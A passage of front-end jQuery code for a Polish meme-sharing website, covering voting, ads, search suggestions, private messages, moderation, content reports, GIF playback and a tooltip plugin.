		url = $(this).attr('href');
		votes = $(this);
		
		$.get( url, {}, function(data){
			var odpowiedz = data.split("|");
			if( odpowiedz[0] == "false" )
			{
				if( odpowiedz[1] == "login" )
				{
					authenticate(1);
				}
				else
				{
					showDialog(odpowiedz[0], odpowiedz[1], true);
				}
				return false
			}
			else if( odpowiedz[0] == 'id')
			{
				votes.parent().find('a').addClass('ranking-voted');

				if( votes.hasClass( 'ranking-plus' ) )
				{
					$('#' + votes.parent().attr('id') + ' .ranking-minus' ).removeClass('ranking-voted');
				}
				else
				{
					$('#' + votes.parent().attr('id') + ' .ranking-plus' ).removeClass('ranking-voted');
				}
				votes.parent().find('div').html( odpowiedz[3] );
			}
		});
		return false;
	});
	
	/**
	* Reklama wysuwana
	*/
	if( $(".ad-button").length !== 0 )
	{
		$(".ad-button").click(function(e) {
			$("#ad-container").animate({right:'-780px'},'slow', function() {  
				$.cookie('slide-ad-show', 'false', { expires: '60m', path: '/' });
				$("#ad-bg-transparent").fadeOut()
				$(".ad-button-show").fadeIn().attr('style', 'position:fixed') 
			});
		});
	}
	
	if( $(".ad-button-show").length !== 0 )
	{
		$(".ad-button-show").click(function(e) {
			$.removeCookie('slide-ad-show');
			$("#ad-bg-transparent").fadeIn();
			$("#ad-container").animate({right:'50%'},'slow', function() {  
				$(".ad-button-show").fadeOut().removeAttr('style') 
			});
		});
	}
	
	/**
	* Autosuggest na podstronach poza wyszukiwarką
	*/
	if( document.location.href.indexOf('/szukaj') <= 0 )
	{
		if( $("#podpowiedzi").length == 0 )
		{
			$(".search").after('<div id="podpowiedzi"></div>');
		}
		$(".search").bind("keyup", function() { 
		   var inputString = $(this).val();
		   if(inputString.length == 0)
		   {
			  $("#podpowiedzi").fadeOut();
		   }
		   else
		   {
				$.post("/ajax/szukaj/", {queryString: ""+inputString+""}, function(data) {
					$("#podpowiedzi").fadeIn();
					$("#podpowiedzi").html(data);
				});
		   }
		});
	}
	
	
	$("#widget-back-to-top").on("click", function (e) {
		$("html, body").animate({ scrollTop: 0 }, 600);
        return false;
	})
	$(window).scroll(function(){
		if ($(this).scrollTop() > 100) {
			$('#widget-back-to-top').fadeIn();
		} else {
			$('#widget-back-to-top').fadeOut();
		}
	});
	/**
	* Pływający Panel na dole włączony, podnosimy stopkę
	*/
	if( $("#fbox").length !== 0 )
	{
		$("body").css('padding-bottom', '50px');
	}
	$("#register-email").click(function(){
		
		$(this).next('div').slideDown();
		$(this).remove();
		return false;
	});
	/**
	* Szablon 9GAG/BEBZOL
	*/
	if( ips_version == '9gag' || ips_version == 'bebzol' )
	{
		/**
		* Podświetlanie submenu
		*/
		if( $(".content-sub-menu-items").length !== 0 )
		{
			
			$(".content-sub-menu-items li a").each(function(){
				if( $(this).attr("href") == document.location.href )
				{
					$(this).addClass("current");
				}
			});
			
		}
		
		num_page = 1;
		$("#popular-posts-prev, #popular-posts-next").click(function(){
			
			
			var load = $("#popular-posts-files");
			var dir = $(this).attr('id').substr(-4);
			if( dir == 'next' )
			{
				num_page += 1;
			}
			else
			{
				num_page -= 1;
			}
			$.post("/ajax/popular-posts/", { count: num_page }, function(data){
				load.animate({
					opacity: 0
				}, 1000 , "linear", function() {
					load.html( $(data).find('ul') ).animate({
						opacity: 1
					}, 1000 );
				});
				
				
			});
			return false;
		});
		
		$(".user-menu")
			.hover(function() {
				$(this).parent().addClass("profile-activ");
			}, function() {
				$(this).parent().removeClass("profile-activ");
		});
		
		
		
		footer = $("#right-block-footer").length !== 0 ? $("#right-block-footer") : false;
		
		if( img_page == false )
		{
			$('.sticky-section').each(function() {
				
				//$(this).stickyScroll({ marginTop: 65, container: $(this).parent().parent() });
				
			});
			
			if( $(".right-panel-slide").length !== 0 )
			{
				$(".right-panel-slide").stickyScroll({ marginTop: 65, container: $('#content'), topBoundary: $(".right-panel-slide").offset().top });
			}
			
			footerBoundary =  $(".fixed-right-panel").offset().top + $(".fixed-right-panel").height();
			if ( footer )
			{
				var top_footer = ips_version == 'bebzol' ? footerBoundary : 500
				$(window).on("scroll", function () {
					if ( $(window).scrollTop() > top_footer )
					{
						footer.addClass("footer-on-screen");
					}
					else
					{
						footer.removeClass("footer-on-screen");
					}
				});
			}
			

		}
		else
		{
			if ( footer )
			{
				$( footer ).appendTo('.fixed-right-panel');
				footer.fadeIn().attr('style', 'opacity:1;position: relative');
			}
		}
	}
	/**
	* KONIEC Szablon 9GAG
	*/
	else if( ips_version == 'pinterest' )
	{
		/**
		* Podświetlanie submenu PINTEREST
		*/
		if( $(".main_menu").length !== 0 )
		{
			
			$(".main_menu li a").each(function(){
				if( $(this).attr("href") == document.location.href )
				{
					$(this).addClass("current");
				}
			});
			
		}
	}
	if( ips_version !== '9gag' )
	{
		$(".prawe a, .nawigacja-top li a").each(function(){
			if( $(this).attr("href").indexOf("/poczekalnia") > 0 )
			{
				$(this).html( $(this).html() + '<span class="counter"><b>' + wait_counter + '</b></span>' );
			}
		});
			
	}
	/**
	* Zmiana języka
	*/
	if( $("#change_language").length !== 0 )
	{
		$("#change_language").on('change', function(){
			$(this).submit();
		});
	}
	
	$(".nawigacja-search").click(function(){
		if( $("#search-widget").is(":visible") )
		{
			$("#search-widget").slideUp();
		}
		else
		{
			$("#search-widget").slideDown();
		}
		return false;
	});
	/**
	* Akcja dla buttona Share w postaci obrazka
	*/
	$("a[name=ips_image_share]").click(function(){
		var share = {
			method:'feed',
			link:$(this).attr("data-href"),
			ref:'popup'
		};
		FB.ui( share );
	});
	
	/**
	* Pływający box w poczekalni + sterowanie pływającymi reklamami prawa/lewa
	*/
	if( $("#float-wait-box").length !== 0 )
	{
		
		var offset = $("#content").offset();
		var left = offset.left + $("#content").innerWidth() + 10 ;

		$("#float-wait-box").fadeIn().css({ 'position': 'absolute', 'left': left, 'opacity': 1, 'top': offset.top });
		
		$(".reklama_left").show().floatDiv('#content');
		$(".reklama_right").show().floatDiv('#float-wait-box', 'bottom');

	}
	else
	{	
		$(".reklama_left, .reklama_right").floatDiv('#content');
	}
	
	
	/**
	* Podświetlenie elementu menu, w którym jest uzytkownik.(demoty)
	*/
	if( $(".nawigacja-top").length !== 0 )
	{
		actualUrl = parseURL( document.location.href );
	
		if( actualUrl.segments[0].indexOf("ranking") > 0 )
		{
			
		}
		else if( actualUrl.segments[0].indexOf("/up") > 0 )
		{
			$('.nawigacja-add').addClass("menu-on");
		}
		else if(  typeof actualUrl.segments[0] !== 'undefined'  )
		{
			$(".nawigacja-top .prawe li a").each(function(){
				if( $(this).attr("href").indexOf( actualUrl.segments[0] ) > 0 )
				{
					if( $(this).attr("href") == document.location.href )
					{
						$(this).parent().addClass("menu-on");
					}
				}
			});
		}
	}
	/**
	* Rozwijane menu użytkownika
	*/
	$("#float_menu li").hover(
			function() {
				element = $("#float_menu li ul")
				element.stop( true, false ).css({
					opacity: 1,
					display: 'block'
				  })
				.stop()
				.animate({
					opacity: 1
				}, {
					duration: 333
				});
			},
			function() {
				element.stop( true, false ).css({
					opacity: 0,
					display: 'none'
				  })
				.stop()
				.animate({
					opacity:0
				}, {
					duration: 333
				});
			}
	);
	
	

	columnLayout( $(".two_columns .demot"), $(".three_columns .demot") );
	
	$("#wiadomosc").click(function(e) {
		$(this).slideUp(2500);
	});
	/*
	* Usunięcie okienka cenzury
	*/
	$('.cenzura-div-span span').click(function(){
		$.cookie('adult', 'true', { expires: '180m', path: '/' });		
		$('.cenzura-div').each(function(){
			var id = $(this).attr("id");
			var load = $(this);
			var file = $(this).attr("rel");
			
			$.post("/ajax/load-file/" + id, { page: file }, function(data){
				load.animate({
					opacity: 0
				}, 1000 , "linear", function() {
					load.html(data).removeAttr("class").removeAttr("style").removeAttr("id").animate({
						opacity: 1
					}, 1500 );
				});
			});
		}) ;
	});
	
	$("#object").animate({ 
        top: "0px"
    }, 2500 ).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100);
	
	$("#close_message").click(function()
	{
	   $("#object").fadeOut("slow");
	});
	
	/* 
	$("#dodaj_demot, #dodajnowy, #podglad_demot, .podglad_demot").click(function(){
		$("#ajax_okno").fadeIn();
		$("#ajax_text").html("Generowanie... <img src='/images/loading.gif' />");
		$("#ajax_text").fadeIn();
	}); 
	*/
	/**
	* Ładne chboxy pod wyszukiwarką
	*/
	$(".chbx").change(function(){
		if( $(this).is(":checked") )
		{
			$(this).next("label").addClass("search_on");
		}
		else
		{
			$(this).next("label").removeClass("search_on");
		}
	});
	
	/**
	* Panel wysuwany z like-box.
	*/
	$("#fb_prawa").hover(
		function() {
			$(this).stop(true,false).animate({right: -24}, 'slow');
			$('.youtube_box').animate({opacity: 0.0}, 'slow');
		},
		function() {
			$("#fb_prawa").stop(true,false).animate({right: -328}, 'slow');
			$('.youtube_box').animate({opacity: 1.0}, 'slow');
		}
	);
	
	/**
	* Panel wysuwany z like-box: wiocha.
	*/
	$("#fb_prawa_w").hover(function(){
		$(this).stop(true,false).animate({top: 0}, 500);},function(){
			$("#fb_prawa_w").stop(true,false).animate({top: -380}, 500);
		}
	);
	/**
	* Update licznika share dla materiałów.
	*/
	setTimeout(function() {
		urls = [];
		$(".file-container").each(function(){
			urls.push('"'+$(this).data("target")+'"');
		});
		if( urls.length > 0 )
		{
			FB.api({
				method: 'fql.query',
				query: 'SELECT url,total_count FROM link_stat WHERE url IN('+urls.join(',')+')'
			}, function (response) {
				$.ajax({
					type: "POST",
					url: '/ajax/api-shares/',
					data: { stats: response },
					success: function(data) {
						/* console.log( data ); */
					}
				});
				
			});
		}			
	}, 5000 );
	
	
	if (typeof(autopost) !== 'undefined' && img_page && autopost) {
		
		params = {};
		params['link'] = $('meta[property="og:url"]').attr("content");
		/**
			Nad postem, wiadomość
		*/
		//params['message'] = $('meta[property="og:title"]').attr("content");
		/**
			Duże litery
			params['message'] = $('meta[property="og:title"]').attr("content").toUpperCase();;
		*/
		/**
			Pod linkiem
		*/
		params['description'] = $('meta[name="description"]').attr("content");
		/**
			Pod linkiem a nad opisem
		*/
		//params['caption'] = $('meta[property="og:title"]').attr("content");
	}
	eval(autopostCode);

	/**
	* Loader podczas dodawania materiałów
	*/
	if ( $('#formu').length )
	{
		$("#all_page").after('<div class="preloader-add-container" style="position:absolute;top: -1000px"></div><span  style="position:absolute;top: -1000px" class="preloader-add"><img style="margin-top:25px;margin-left:25px" src="/images/preloader.gif" alt="Loading" /></span>');
	}
	/**
	* Podświetlanie licznika z w menu(poczekalnia)
	*/
	//blinking( $(".counter") );
	/**
	* Załadowanie komentarzy.
	*/
	if( window.location.hash == "#comments_wrapper" && $("#comments_wrapper").length !== 0 )
	{
		loadComments(img_id);
	}
	/**
	* Rozwijane menu kategorii.
	*/
	$(".categories-menu a").hover(function(){
       
		var ul = $(this).parent().find("ul");
		//'ul:first'
		if( ips_version != '9gag' && ips_version != 'bebzol')
		{
			var offset = $(this).offset();
			var left = - ( ( offset.left - $(this).width() ) - $( ul, this ).width() );
			$( ul, this ).css("right", left );
		}
		$( ul, this ).css('visibility', 'visible').fadeIn();
		
    }, function(){
		
    });
	
	
	$(".categories-menu-submenu").hover(function(){
       
    }, function(){
		$( this).css('visibility', 'hidden').fadeOut();
    });
	
	
    $(".categories-menu ul li:has(ul)").find("a:first").append(" &raquo; ");
	
	
	$("input#wartosc").change(function(){
		$("input#skopiowane").val($("input#wartosc").val());
	});	
	$(".fontpicker").change(function() {
			var col = $("#colorSelector div").attr('rel');
			var font = $(".fontpicker option:selected").val();
		zmien_czcionke(font, col);
	});
	$('.nawigacja span').click(function () {	
		$('.nawigacja span').removeClass('aktywny');
		$(this).addClass('aktywny');
		return false;
	});		
});

function zmieninput(){
	if( $("#file:visible").length > 0 ) {
		$("#file").hide();
		$("#link").fadeIn();
	}
	else {
		$("#link").hide();
		$("#file").fadeIn();
	}
}
function nowyinput(){

	$("#file").remove();
	$("#link").val('').hide();
	$('<input>').attr({
		type: 'file',
		id: 'file',
		name: 'file'
	}).insertBefore('#link');

	$("#adres").val('');
}
/**
* Odtwarzanie animacji w postaci plików pojedyńczych.
*/
function gif_player(id){
	$('#gif_'+id).addClass('video_player_wait').attr('title', 'Trwa ładowanie obrazka...'); 
	var obrazek = new Image();
	var adres = $('#gif_'+id).next().find('img');
	obrazek.src = adres.attr('src').replace(/.jpg$/, '.gif');
        $(obrazek).load(function(event){
		
		   adres.attr('src', obrazek.src);

            $('#gif_'+id).fadeOut();

        }).error(function (){
			$('#gif_'+id).attr('title', js_alert_jquery); 
        });
};
/**
* Odtwarzanie animacji w postaci plików nałożonych na obrazek (demot).
*/
function gifDemot(id, image){
	var adres = $('#animacja_'+id);
	adres.children().addClass('video_player_wait').attr('title', 'Trwa ładowanie obrazka...'); 
	
	var obrazek = new Image();
	obrazek.src = image;
	$(obrazek).load(function(event){
		adres.html('');
		adres.html('<img src="'+obrazek.src+'" />');
	}).error(function (){
		adres.attr('title', js_alert_jquery); 
	});
};

function video_player(id, demoty){
	var adres = $('#video_'+id);
	adres.addClass('video_player_wait');
	$.get("/movie/"+id, {}, function(data){
		adres.next('div').html(data);
		adres.remove();	
	});
};

$(function (){
	$('#item-select span').each(function(){ 
	   $(this).click(function(){
			var bid = $(this).attr("id");
			$("#item-select span").each(function(){
				var id = $(this).attr("id");
				$("#" + id + "_dodaj").hide();
			});
			$("#" + bid + "_dodaj").fadeIn(2000);
			$("#typ_demota").val(bid);
			$('#item-select span').removeClass('aktywny');
			$(this).addClass('aktywny');
			return false; 
	   }); 
	});
});

/**
* Nawigacja pomiedzy kolejnymi materiałami
* podczas pokazu slajdów, nawigacji klawiszami
* lub buttonami w dodatku: "Widget Pasek pływający na dole strony"
*/
function przewin( typ )
{
	if ( typeof onFast !== 'undefined' )
	{
		setNav( typ );
		return;
	}
	var ie = document.all ? true : false;
	if ( ie )
	{
		var IEbody = document.compatMode && document.compatMode != "BackCompat" ? document.documentElement: document.body
	}
	if ( typeof przewin.obrazki == 'undefined' )
	{
        var elements = document.getElementsByClassName( "demot", "div", document.getElementById("container") );
        przewin.obrazki = [];
        var i = 0;
        count = elements.length;
		/**
		* Zmienna pased określa dla jakiego typu layoutu bedą pobierane identyfikatory obrazków.
		*/
		pased = 1;
		if( $("body").hasClass("two_columns") )
		{
			pased = 2;
		}
		else if( $("body").hasClass("three_columns") )
		{
			pased = 3;
		}
		for ( var k = 0; k < count; k++ )
		{
			if( i % pased == 0 )
			{
				przewin.obrazki.push( elements[k] );
			}
			i++;
        }
    }
	if ( !przewin.obrazki )
	{
       return false
    }
	count = przewin.obrazki.length;
	var obrazki = przewin.obrazki;
	var ofsset = ie ? IEbody.scrollTop : window.pageYOffset;
	num = obrazki[count - 1];
    for ( var i = 0; i < count; i++ )
	{
		if ( obrazki[i].offsetTop >= ofsset )
		{
            num = obrazki[i];
			if ( typ == 'previous' )
			{
				num = i > 0 ? obrazki[i - 1] : obrazki[count - 1];
            }
			else if ( typ == 'next' )
			{
                if (i < (count - 1) && obrazki[i].offsetTop == ofsset)
				{
					num = obrazki[i + 1];
				}
				else if( obrazki[i].offsetTop == ofsset )
				{
                    num = obrazki[0]
                }
            }
            break
        }
    }
	$('html, body').animate({scrollTop: num.offsetTop}, 1000);
}
/**
* Nawigacja klawiszami strzałek
*/
$(function() {
	$(document).keydown( function(e){
		e = e ? e : window.event;
		if ( (e.target.type == 'textarea')  || (e.target.type == 'text') || (e.target.type == 'password') )
		{
			return;
		}
		key = e.keyCode ? e.keyCode : e.which;
		if( key == 37 || key == 90 )
		{
			przewin('previous');
		}
		if( key == 39 || key == 88 )
		{
			przewin('next');
		}
		
	});
})

function showDialog( title, message, alert, type ){
	
	if( alert == true )
	{
		var icon = type == 'info' ? 'attention-icon.png' : 'blokada.png';
		var message = "<p class='pozycjonowany'><img src='images/" + icon + "'><span>" + message + "</span></p>";
		var title = js_alert;
	}
	$("#dialog").html( message );
	$("#dialog").dialog({
		title: title,
		autoOpen: true,
		width: 600,
		resizable: false,
		buttons: false,
		show: show_effect,
        hide: hide_effect,
		modal: true,
		close: function() {
		},
		open: function(event, ui) {
			$('.ui-widget-overlay').css('opacity', '0.8');
			$('.ui-widget-overlay').on('click', function(){
				$("#dialog").effect( hide_effect, {}, 500, callback() );
				function callback() {
					setTimeout(function() {
						$(".ui-dialog").remove().fadeOut();
					}, 500 );
				};
				$('<div>').attr({
					id: 'dialog'
				}).appendTo('body');
			});
        }
	});
	
};
/**
* Efekt mrugającej liczby materiałów w poczekalni
*/
function blinking(elm) {
    timer = setInterval(blink, 10);
    function blink() {
        elm.fadeOut(900, function() {
           elm.fadeIn(900);
        });
    }
}

function authenticate(id){
	$.get("ajax/auth/" + id, {}, function(data){
		var res = data.split("|");
		showDialog( res[0], res[1] );	
	}); 	
};
function loadHistory( id, div ){
	if( $("#user-history-panel:visible").length == 0 )
	{
		$.get("/ajax/history/", { id: id }, function(data){
			$("#user-history-panel").html(data).slideDown();
			$("#user-history-panel ul li").each( function (index){
				$(this).delay(50 * index).fadeIn('slow');
			});
		});
	}
	else
	{
		$("#user-history-panel:visible").slideUp();
	}
}
function dane(id, act){

	$.get("/ajax/vote_demot/"+id+"/", { akcja: act }, function(data){
	var odpowiedz = data.split("|");
	if( odpowiedz[0] == "ulubione" )
	{
		//$('.ulubione_'+id).removeAttr("onclick");
		//$('.ulubione_'+id).removeAttr("id");
		if( $('.ulubione_'+id).next().attr("id") == 'fav-ajax')
		{
			$('.ulubione_'+id).next().remove();
		}
		$('.ulubione_'+id).after(odpowiedz[1]);
		return;
	}
	else if( odpowiedz[0] == "dobre" )
	{
		$('.dobre_'+id).html(odpowiedz[1]);
	}
	else if( odpowiedz[0] == "obserwuj" )
	{
		$('.obserwuj_'+id).removeAttr("onclick");
		$('.obserwuj_'+id).removeAttr("id");
	}
	else if( odpowiedz[0] == "false" )
	{
		if( odpowiedz[1] == "login" )
		{
			authenticate(1);
		}
		else
		{
			showDialog(odpowiedz[0], odpowiedz[1], true);
		}
	return false
	}
	else
	{
		if( ips_version == '9gag' || ips_version == 'bebzol' )
		{
			$('.vote' + id).html( odpowiedz[3] );
			$('.vote_buttons_' + id + ' span').removeClass( 'voted' );
			$('.vote_buttons_' + id + ' .' + ( act == 0 ? 'vote_minus' : 'vote_plus' ) ).addClass( 'voted' );
			if(act == 0)
			{
			
			}
		}
		else
		{
			$('.vote' + id).html( odpowiedz[2] );
		}	
		
		
		$('.opinion' + id).html(odpowiedz[3]);
		$('.ocena_' + id ).fadeIn('slow');
	}
	$('.'+odpowiedz[0]+'_'+id).html( odpowiedz[1] );
}); 
}

function banuj(id, ile){
	$.get("/ban/", { id: id, akcja: ile }, function(data){
		var msg = data;
		var odpowiedz = data.split("|");
		if( odpowiedz[2] == "false" )
		{
			showDialog(odpowiedz[0], odpowiedz[1]);
		}
		else
		{
			$('#ban_ile').html(odpowiedz[0]);
		}
	}); 
}
function nl2br(txt){return txt.replace ( /\n/gm, '<br />' );}

function zmien_czcionke(font, colors){
	
	if( $("#top_line:visible").length > 0 ){
		$(".label_area").removeAttr("onmouseout");
		$("#top_line").css('color', "#"+colors);

		if( document.location.href.indexOf("/mem") > 0 )
		{
			$("#bottom_line").css('color', "#" + colors);
		}
	}
	$('#preview').removeAttr('src').attr('src','http://'+ window.location.hostname +'/zmien_czcionke/?font='+font+'&color='+colors);
	$("input.kolorek").val(colors);
}



function odpowiedzpw($id){
	if( $("#nowe_pw:visible").length > 0 )
	{
		$("#nowe_pw").fadeOut();
	}
	else
	{
		var br = '';
		var pw = $('input[name="reply_message"]').val();
		var pw_sub = $('input[name="reply_subject"]').val();
		var pw_do = $('input[name="reply_from"]').val();
		$(".do_kogo_text").val( pw + br );
		$(".do_kogo_temat").val(pw_sub);
		$(".do_kogo").val(pw_do);
		$("#nowe_pw").slideDown(2500);
	}
	return false;
}
function nowe_pw(){
	$("#threads_nav").hide();
	$(".do_kogo").val('');
	$(".do_kogo_temat").val('');
	$(".do_kogo_text").val('');
	if($("#nowe_pw:visible").length > 0){
		$("#nowe_pw").hide("normal");
		$("#lista_pw").fadeIn();
	}else{
		$("#nowe_pw").show("normal");
		if($("#lista_pw:visible").length > 0)
			$("#lista_pw").fadeOut();
		if($("#pw_read:visible").length > 0)
			$("#pw_read").fadeOut();
	}
	return false;
}
function wyslij_pw(){
	
	var odbiorca = $(".do_kogo").val();
	var tytul_pw = $(".do_kogo_temat").val();
	var tresc_pw = $(".do_kogo_text").val();
	
	if(odbiorca == ''){
		showDialog(false, 'Nie podałeś odbiorcy wiadomości.', true, 'info');
	}else if(tytul_pw == ''){
		showDialog(false, 'Nie wpisałeś tytułu wiadomości', true, 'info');
	}else if(tresc_pw == ''){
		showDialog(false, 'Wpisz treść wiadomości.', true, 'info');
	}
	else
	{

		overflowMsg( js_pw_sending );
	
		$.post("/smail/wyslij/", { do_kogo: odbiorca, tytul: tytul_pw, tresc: tresc_pw}, function(data){
		
		var msg = data;
		var vo = data.split("|");
	
				if(vo[0] == 'poszlo'){
					$("#ajax_text").text(vo[1]);
					$("#nowe_pw").hide();
					$(".odbiorca").val(' ');
					$(".tytul_pw").val(' ');
					$(".tresc_pw").val(' ');
					setTimeout( function(){ 
						closeOverflowMsg()
					}, 2500 );
				}else{
					$("#ajax_text").text(vo[1]);
					setTimeout(function(){
						closeOverflowMsg()
					}, 3000 )
				}				
		});
	}
	return false;
}
function usunpw(id, kosz){
	$.get("/smail/usun/"+id+"/"+kosz, {}, function(data){
		$("#"+id+"_msgpw").fadeOut();
	});
	if( $("#pw_read:visible").length > 0 )
	{
		$("#pw_read").fadeOut();
		window.location = '/messages/';
	}
}
function mod(id, akcja, dodatkowe){

var s = $("div#mod_" + id );
	s.animate({
		opacity: 0.25,
		height: 'toggle'
	}, 1000, function(){});
  
	$.post("/ajax/moderator/", { id: id, akcja: akcja, dodatkowe: dodatkowe },function(data){
		var res = data.split("|");
		if (res[0] == "msg")
		{
			var msg = res[1];
		}
		else
		{
			var msg = js_alert;
		}
			setTimeout(function(){
				s.html(msg);
				s.animate({
					opacity: 0.90,
					height: '50px'
				}, 500, function(){
					s.slideDown();
					setTimeout(function(){
						s.slideUp();
					}, 3000 );
				});
			}, 1000 );
	});
}

this.viewPodglad = function(){	
		xOffset = 20;
		yOffset = 120;
	$("a.view").hover(function(e){
		this.t = this.title;
		this.title = "";	
		var c = (this.t != "") ? "<br/>" + this.t : "";
		$("body").append("<p id='view'><img src='"+ this.rel +"' alt='Podgląd' />"+ c +"</p>");							 
		$("#view")
			.css("top",(e.pageY + xOffset) + "px")
			.css("left",(e.pageX - yOffset) + "px")
			.fadeIn(1500);						
    },
	function(){
		this.title = this.t;	
		$("#view").remove();
    });	
	$("a.view").mousemove(function(e){
		$("#view")
			.css("top",(e.pageY + xOffset) + "px")
			.css("left",(e.pageX - yOffset) + "px");
	});			
};

function systemReport(id, typ)
{

	if ( is_logged == false )
	{
		authenticate(1);
		return false;
	}
	if( typ != 'wiadomosc' )
	{
		var msg = $('div#msg_'+typ).html();
	}
	else
	{
		var msg = $('div#msg_komentarz').html();
	}
	$("#dialog").html(msg);

	var buttonOpts = {};
	
	buttonOpts[com_raport] = function(){
		
		overflowMsg( js_rp_sending );
		
		var temat = $("#dialog #report_subject option:selected").val();
		if ( temat == 'inne' || temat == 'duplikat' )
		{
			var link = prompt( js_rp_duplikat_msg, '');
		}
		else
		{
			var link = $("#link_oryginalny").val();
		}
		
		$.post("/raporty/", { id: id, typ: typ, temat: temat, link: link  },function(data){
			var res = data.split("|");
			if (res[0] == "success")
				$("#msg_"+typ+"_"+id).replaceWith( js_rp_ok );
			else if (res[0] == "blad")
				$("#ajax_text").html(res[1]);
			else 
				$("#ajax_text").html(js_alert);
		});
		setTimeout(function(){ 
			closeOverflowMsg()
		}, 3000 );
		$(this).dialog("close");
	}

	$("#dialog").dialog({
	 	title: js_rp_title,
	 	autoOpen: true,
		hide: "fadeOut",
		resizable: false,
		buttons: buttonOpts, 
		modal: true, 
		show: "slide"
	});

}	
	
function podobne(){
	$.get("/skrypty/szukaj/",{query: $("#title").val(), type: "results"}, function(data){
		$("#wyniki_pod").html(data).show("blind").slideDown(2500);
	});
};

function podobneile(){
	$.get("/skrypty/szukaj/",{query: $("#title").val(), type: "count"}, function(data){
		$("#buttontext").html("Podobnych - " + data).blur(1500);
	});
}
/*Nadawanie klas dla layoutu dwu kolumnowego */
function columnLayout( two_columns, three_columns )
{	
	if( two_columns !== null )
	{	
		two_columns.each(function(i){
			if(i%2 == 0)
			{
				$(this).addClass("first");
			}
			else
			{
				$(this).imagesLoaded(function(){
					var second = two_columns.eq(i-1);
					var setheight = $(this).height();
					if( second.height() > $(this).height() )
					{
						var setheight = second.height();
					}
					$(this).height( setheight );
					second.height( setheight );
					
					$(this).addClass("second").after('<div class="clear_columns"></div>');
				});
			}
		});
		two_columns.last().after('<div class="clear_columns"></div>');
	}
	/* Koniec */
	
	/*Nadawanie wysokości dla layoutu trzy kolumnowego */

	if( three_columns !== null )
	{
		three_columns.each(function(i){
			if(i%3 == 0)
			{
				$(this).addClass("first");
			}
			if(i%3 == 0)
			{
				var setheight = $(this).height();
				
				var second = three_columns.eq(i+1);
				var third = three_columns.eq(i+2);
				
				if( second.height() > $(this).height() )
				{
					var setheight = second.height();
				}
				if( third.height() > setheight )
				{
					var setheight = third.height();
				}
				$(this).height( setheight );
				second.height( setheight );
				third.height( setheight );
			}
			if(i%3 == 2)
			{
				$(this).addClass("third").after('<div class="clear_columns"></div>');
			}
		});
		three_columns.last().after('<div class="clear_columns"></div>');
	}
	/* Koniec */
}	

(function($){
	$.fn.tipTip = function(options){
		var defaults = { 
			activation: "hover",
			keepAlive: false,
			maxWidth: "300px",
			edgeOffset: 3,
			defaultPosition: "bottom",
			delay: 400,
			fadeIn: 200,
			fadeOut: 200,
			attribute: "title",
			content: false, 
		  	enter: function(){},
		  	exit: function(){}
	  	};
	 	var opts = $.extend(defaults, options);
	 	
	
	 	if($("#dymek").length <= 0){
	 		var dymek = $('<div id="dymek" style="max-width:'+ opts.maxWidth +';"></div>');
			var dymek_content = $('<div id="dymek_content"></div>');
			var dymek_arr = $('<div id="dymek_arr"></div>');
			$("body").append(dymek.html(dymek_content).prepend(dymek_arr.html('<div id="dymek_arr_inner"></div>')));
		}else{
			var dymek = $("#dymek");
			var dymek_content = $("#dymek_content");
			var dymek_arr = $("#dymek_arr");
		}
		
		return this.each(function(){
			var org_elem = $(this);
			if(opts.content){
				var org_title = opts.content;
			}else{
				var org_title = org_elem.attr(opts.attribute);
			}

			if(org_title != "" && typeof org_title !== 'undefined' && org_title != 'undefined'){
				if(!opts.content){
					org_elem.removeAttr(opts.attribute); 
				}
				var timeout = false;
				
				if(opts.activation == "hover"){
					org_elem.hover(function(){
						active_tiptip();
					}, function(){
						if(!opts.keepAlive){
							deactive_tiptip();
						}
					});
					if(opts.keepAlive){
						dymek.hover(function(){}, function(){
							deactive_tiptip();
						});
					}
				}else if(opts.activation == "focus"){
					org_elem.focus(function(){
						active_tiptip();
					}).blur(function(){
						deactive_tiptip();
					});
				}else if(opts.activation == "click"){
					org_elem.click(function(){
						active_tiptip();
						return false;
					}).hover(function(){},function(){
						if(!opts.keepAlive){
							deactive_tiptip();
						}
					});
					if(opts.keepAlive){
						dymek.hover(function(){}, function(){
							deactive_tiptip();
						});
					}
				}
			
				function active_tiptip(){
					opts.enter.call(this);
					dymek_content.html(org_title);
					dymek.hide().removeAttr("class").css("margin","0");
					dymek_arr.removeAttr("style");
					
					var top = parseInt(org_elem.offset()['top']);
					var left = parseInt(org_elem.offset()['left']);
					var org_width = parseInt(org_elem.outerWidth());
					var org_height = parseInt(org_elem.outerHeight());
					var tip_w = dymek.outerWidth();
					var tip_h = dymek.outerHeight();
					var w_compare = Math.round((org_width - tip_w) / 2);
					var h_compare = Math.round((org_height - tip_h) / 2);
					var marg_left = Math.round(left + w_compare);
					var marg_top = Math.round(top + org_height + opts.edgeOffset);
					var t_class = "";
					var arrow_top = "";
					var arrow_left = Math.round(tip_w - 12) / 2;

                    if(opts.defaultPosition == "bottom"){
                    	t_class = "_bottom";
                   	}else if(opts.defaultPosition == "top"){ 
                   		t_class = "_top";
                   	}else if(opts.defaultPosition == "left"){
                   		t_class = "_left";
                   	}else if(opts.defaultPosition == "right"){
                   		t_class = "_right";
                   	}
					
					var right_compare = (w_compare + left) < parseInt($(window).scrollLeft());
					var left_compare = (tip_w + left) > parseInt($(window).width());
					
					if((right_compare && w_compare < 0) || (t_class == "_right" && !left_compare) || (t_class == "_left" && left < (tip_w + opts.edgeOffset + 5))){
						t_class = "_right";
						arrow_top = Math.round(tip_h - 13) / 2;
						arrow_left = -12;
						marg_left = Math.round(left + org_width + opts.edgeOffset);
						marg_top = Math.round(top + h_compare);
					}else if((left_compare && w_compare < 0) || (t_class == "_left" && !right_compare)){
						t_class = "_left";
						arrow_top = Math.round(tip_h - 13) / 2;
						arrow_left =  Math.round(tip_w);
						marg_left = Math.round(left - (tip_w + opts.edgeOffset + 5));
						marg_top = Math.round(top + h_compare);
					}

					var top_compare = (top + org_height + opts.edgeOffset + tip_h + 8) > parseInt($(window).height() + $(window).scrollTop());
					var bottom_compare = ((top + org_height) - (opts.edgeOffset + tip_h + 8)) < 0;
					
					if(top_compare || (t_class == "_bottom" && top_compare) || (t_class == "_top" && !bottom_compare)){
						if(t_class == "_top" || t_class == "_bottom"){
							t_class = "_top";
						}else{
							t_class = t_class+"_top";
						}
						arrow_top = tip_h;
						marg_top = Math.round(top - (tip_h + 5 + opts.edgeOffset));
					}else if(bottom_compare | (t_class == "_top" && bottom_compare) || (t_class == "_bottom" && !top_compare)){
						if(t_class == "_top" || t_class == "_bottom"){
							t_class = "_bottom";
						}else{
